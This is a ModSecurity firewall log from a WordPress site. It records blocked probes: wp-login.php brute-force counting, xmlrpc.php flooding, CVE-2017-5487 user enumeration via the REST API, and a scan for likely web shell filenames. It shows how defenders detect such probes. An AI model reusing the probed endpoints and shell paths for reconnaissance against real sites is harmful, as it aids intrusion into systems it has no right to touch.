[Thu Dec 25 19:41:49.874490 2025] [:error] [pid 64973:tid 65011] [client 192.185.12.54:55670] [client 192.185.12.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.12.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0i_eqHYEKj6K8dhUE3AQAAAoc"]
[Thu Dec 25 19:52:19.810425 2025] [:error] [pid 64971:tid 64984] [client 162.241.253.213:34250] [client 162.241.253.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.253.213, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aU0lc6qyk1GkxTrDJixOfQAAAkc"]
[Thu Dec 25 20:20:17.582240 2025] [:error] [pid 64971:tid 64986] [client 34.75.228.110:54606] [client 34.75.228.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.228.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0sAaqyk1GkxTrDJixUEgAAAkk"]
[Thu Dec 25 20:20:21.127658 2025] [:error] [pid 64971:tid 64993] [client 34.75.228.110:54606] [client 34.75.228.110] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU0sBaqyk1GkxTrDJixUFQAAAlA"]
[Thu Dec 25 20:20:22.942151 2025] [:error] [pid 64971:tid 64987] [client 34.75.228.110:54606] [client 34.75.228.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.228.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0sBqqyk1GkxTrDJixUGAAAAko"]
[Thu Dec 25 20:20:25.081331 2025] [:error] [pid 64910:tid 64947] [client 34.75.228.110:59088] [client 34.75.228.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.228.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0sCees2ob7vYHBZqCA2QAAAgY"]
[Thu Dec 25 20:20:27.219691 2025] [:error] [pid 64820:tid 64826] [client 34.75.228.110:59009] [client 34.75.228.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.228.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0sC8SuTdTvkipi541RjQAAAUI"]
[Thu Dec 25 20:20:27.219865 2025] [:error] [pid 64820:tid 64826] [client 34.75.228.110:59009] [client 34.75.228.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.75.228.110, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0sC8SuTdTvkipi541RjQAAAUI"]
[Thu Dec 25 20:45:15.311223 2025] [:error] [pid 22043:tid 22060] [client 34.77.132.75:51304] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x2z4YVtlb2Iz_QE40rgAAAAw"]
[Thu Dec 25 20:45:18.969289 2025] [:error] [pid 22043:tid 22059] [client 34.77.132.75:51304] [client 34.77.132.75] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU0x3j4YVtlb2Iz_QE40xAAAAAs"]
[Thu Dec 25 20:45:20.708238 2025] [:error] [pid 22043:tid 22052] [client 34.77.132.75:51304] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x4D4YVtlb2Iz_QE400QAAAAQ"]
[Thu Dec 25 20:45:22.973807 2025] [:error] [pid 22043:tid 22058] [client 34.77.132.75:54178] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x4j4YVtlb2Iz_QE404QAAAAo"]
[Thu Dec 25 20:45:25.370695 2025] [:error] [pid 22044:tid 22084] [client 34.77.132.75:52902] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x5XPTC5rQKTB0FQ99NwAAAMk"]
[Thu Dec 25 20:45:27.660378 2025] [:error] [pid 22045:tid 22121] [client 34.77.132.75:57891] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x56sGGmXjDnvlmHtPSgAAAVM"]
[Thu Dec 25 20:45:30.272977 2025] [:error] [pid 22045:tid 22104] [client 34.77.132.75:64157] [client 34.77.132.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.77.132.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x6qsGGmXjDnvlmHtPTgAAAUI"]
[Thu Dec 25 20:45:30.273108 2025] [:error] [pid 22045:tid 22104] [client 34.77.132.75:64157] [client 34.77.132.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.77.132.75, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU0x6qsGGmXjDnvlmHtPTgAAAUI"]
[Thu Dec 25 20:49:14.075865 2025] [:error] [pid 22044:tid 22099] [client 174.138.85.139:58213] [client 174.138.85.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aU0yynPTC5rQKTB0FQ9_awAAANg"], referer: binance.com
[Thu Dec 25 21:33:23.993446 2025] [:error] [pid 22043:tid 22058] [client 4.241.194.62:64872] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dng.php"] [unique_id "aU09Iz4YVtlb2Iz_QE5GQQAAAAo"]
[Thu Dec 25 21:33:24.716960 2025] [:error] [pid 22131:tid 22153] [client 4.241.194.62:64853] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dng.php"] [unique_id "aU09JJvVMtSTB4lX2fYovwAAAFI"]
[Thu Dec 25 21:33:25.116168 2025] [:error] [pid 22044:tid 22079] [client 4.241.194.62:64858] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dng.php"] [unique_id "aU09JXPTC5rQKTB0FQ-QBQAAAMQ"]
[Thu Dec 25 21:33:25.566030 2025] [:error] [pid 22045:tid 22110] [client 4.241.194.62:64880] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dng.php"] [unique_id "aU09JasGGmXjDnvlmHthvwAAAUg"]
[Thu Dec 25 21:33:25.898653 2025] [:error] [pid 27869:tid 27872] [client 4.241.194.62:64842] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh1.php"] [unique_id "aU09JRNK7_n86kBD7qfI0QAAAIE"]
[Thu Dec 25 21:33:26.603443 2025] [:error] [pid 22045:tid 22124] [client 4.241.194.62:64860] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh1.php"] [unique_id "aU09JqsGGmXjDnvlmHthwAAAAVY"]
[Thu Dec 25 21:33:27.369997 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:64145] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh1.php"] [unique_id "aU09JxNK7_n86kBD7qfI1AAAAI4"]
[Thu Dec 25 21:33:28.026614 2025] [:error] [pid 27869:tid 27891] [client 4.241.194.62:64151] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh1.php"] [unique_id "aU09KBNK7_n86kBD7qfI1QAAAJQ"]
[Thu Dec 25 21:33:28.599259 2025] [:error] [pid 22045:tid 22113] [client 4.241.194.62:64883] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aU09KKsGGmXjDnvlmHthwwAAAUs"]
[Thu Dec 25 21:33:29.089228 2025] [:error] [pid 22044:tid 22095] [client 4.241.194.62:64850] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aU09KXPTC5rQKTB0FQ-QCwAAANQ"]
[Thu Dec 25 21:33:29.790535 2025] [:error] [pid 22045:tid 22125] [client 4.241.194.62:64128] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aU09KasGGmXjDnvlmHthxQAAAVc"]
[Thu Dec 25 21:33:30.205009 2025] [:error] [pid 22045:tid 22116] [client 4.241.194.62:64868] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w3llstore.php"] [unique_id "aU09KqsGGmXjDnvlmHthyAAAAU4"]
[Thu Dec 25 21:33:31.326306 2025] [:error] [pid 22044:tid 22084] [client 4.241.194.62:64861] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s12.php"] [unique_id "aU09K3PTC5rQKTB0FQ-QDQAAAMk"]
[Thu Dec 25 21:33:31.963184 2025] [:error] [pid 22131:tid 22158] [client 4.241.194.62:64843] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s12.php"] [unique_id "aU09K5vVMtSTB4lX2fYowwAAAFY"]
[Thu Dec 25 21:33:32.906450 2025] [:error] [pid 27869:tid 27882] [client 4.241.194.62:64846] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s12.php"] [unique_id "aU09LBNK7_n86kBD7qfI1wAAAIs"]
[Thu Dec 25 21:33:34.202656 2025] [:error] [pid 22043:tid 22060] [client 4.241.194.62:64852] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s12.php"] [unique_id "aU09Lj4YVtlb2Iz_QE5GSgAAAAw"]
[Thu Dec 25 21:33:35.419272 2025] [:error] [pid 27869:tid 27888] [client 4.241.194.62:64867] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU09LxNK7_n86kBD7qfI2wAAAJE"]
[Thu Dec 25 21:33:35.907750 2025] [:error] [pid 22131:tid 22144] [client 4.241.194.62:64184] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU09L5vVMtSTB4lX2fYoyQAAAEo"]
[Thu Dec 25 21:33:37.133128 2025] [:error] [pid 27869:tid 27871] [client 4.241.194.62:64182] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU09MRNK7_n86kBD7qfI3wAAAIA"]
[Thu Dec 25 21:33:38.248052 2025] [:error] [pid 22131:tid 22159] [client 4.241.194.62:64834] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU09MpvVMtSTB4lX2fYozAAAAFc"]
[Thu Dec 25 21:33:38.965450 2025] [:error] [pid 22131:tid 22140] [client 4.241.194.62:64894] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aU09MpvVMtSTB4lX2fYozgAAAEY"]
[Thu Dec 25 21:33:39.350769 2025] [:error] [pid 27869:tid 27882] [client 4.241.194.62:64838] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aU09MxNK7_n86kBD7qfI5gAAAIs"]
[Thu Dec 25 21:33:40.047443 2025] [:error] [pid 22044:tid 22076] [client 4.241.194.62:64166] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aU09NHPTC5rQKTB0FQ-QGAAAAME"]
[Thu Dec 25 21:33:40.388361 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:64180] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ol.php"] [unique_id "aU09NBNK7_n86kBD7qfI6QAAAIc"]
[Thu Dec 25 21:33:41.035309 2025] [:error] [pid 22043:tid 22058] [client 4.241.194.62:64129] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aU09NT4YVtlb2Iz_QE5GTgAAAAo"]
[Thu Dec 25 21:33:41.539675 2025] [:error] [pid 22044:tid 22081] [client 4.241.194.62:64851] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aU09NXPTC5rQKTB0FQ-QGwAAAMY"]
[Thu Dec 25 21:33:41.910813 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:64135] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aU09NasGGmXjDnvlmHthzgAAAVg"]
[Thu Dec 25 21:33:42.348932 2025] [:error] [pid 22043:tid 22056] [client 4.241.194.62:64157] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/man.php"] [unique_id "aU09Nj4YVtlb2Iz_QE5GTwAAAAg"]
[Thu Dec 25 21:33:43.010648 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:64146] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g7y.php"] [unique_id "aU09N5vVMtSTB4lX2fYo1QAAAE8"]
[Thu Dec 25 21:33:44.370483 2025] [:error] [pid 22045:tid 22122] [client 4.241.194.62:64893] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g7y.php"] [unique_id "aU09OKsGGmXjDnvlmHth0wAAAVQ"]
[Thu Dec 25 21:33:46.321569 2025] [:error] [pid 22043:tid 22050] [client 4.241.194.62:64158] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g7y.php"] [unique_id "aU09Oj4YVtlb2Iz_QE5GVAAAAAI"]
[Thu Dec 25 21:33:47.746998 2025] [:error] [pid 22045:tid 22104] [client 4.241.194.62:64869] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g7y.php"] [unique_id "aU09O6sGGmXjDnvlmHth2AAAAUI"]
[Thu Dec 25 21:33:48.955856 2025] [:error] [pid 22043:tid 22062] [client 4.241.194.62:64174] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ging.php"] [unique_id "aU09PD4YVtlb2Iz_QE5GWAAAAA4"]
[Thu Dec 25 21:33:50.254137 2025] [:error] [pid 22043:tid 22057] [client 4.241.194.62:55682] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ging.php"] [unique_id "aU09Pj4YVtlb2Iz_QE5GWgAAAAk"]
[Thu Dec 25 21:33:50.770350 2025] [:error] [pid 22131:tid 22151] [client 4.241.194.62:64862] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ging.php"] [unique_id "aU09PpvVMtSTB4lX2fYo4AAAAFA"]
[Thu Dec 25 21:33:51.410607 2025] [:error] [pid 22131:tid 22156] [client 4.241.194.62:64172] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ging.php"] [unique_id "aU09P5vVMtSTB4lX2fYo4gAAAFQ"]
[Thu Dec 25 21:33:51.989282 2025] [:error] [pid 22044:tid 22080] [client 4.241.194.62:64888] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/veuntzdf.php"] [unique_id "aU09P3PTC5rQKTB0FQ-QJQAAAMU"]
[Thu Dec 25 21:33:52.669327 2025] [:error] [pid 27869:tid 27872] [client 4.241.194.62:64854] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/veuntzdf.php"] [unique_id "aU09QBNK7_n86kBD7qfI7wAAAIE"]
[Thu Dec 25 21:33:53.165364 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:64140] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/veuntzdf.php"] [unique_id "aU09QasGGmXjDnvlmHth3AAAAVg"]
